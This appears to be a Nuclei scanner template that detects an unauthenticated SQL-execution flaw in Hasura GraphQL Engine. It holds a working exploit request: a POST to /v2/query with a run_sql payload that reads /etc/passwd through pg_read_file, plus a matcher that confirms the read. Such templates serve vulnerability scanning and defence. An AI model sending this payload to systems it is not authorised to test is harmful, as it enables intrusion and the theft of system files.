id: hasura-graphql-psql-exec

info:
  name: Hasura GraphQL Engine - Remote Code Execution
  author: Udyz
  severity: critical
  description: Hasura GraphQL Engine allows remote unauthenticated users to execute arbitrary SQL statements via the '/v2/query' endpoint (aka remote code execution).
  reference:
    - https://www.exploit-db.com/exploits/49802
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 1
  tags: graphql,edb,hasura,rce,vuln

http:
  - raw:
      - |
        POST /v2/query HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "type": "bulk",
          "source": "default",
          "args":[
            {
              "type": "run_sql",
              "args": {
                "source":"default",
                "sql":"SELECT pg_read_file('/etc/passwd',0,100000);",
                "cascade": false,
                "read_only": false
              }
            }
          ]
        }

    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body
# digest: 4a0a00473045022100deae05e655c5e08760502be81ff786fe90a9fb70cd27b55466db8bf0bc6496dd0220326853ce11717277992c5f1fb327f1dc14751628ee507649df38c3f912d1a9e7:922c64590222798bb761d5b6d8e72950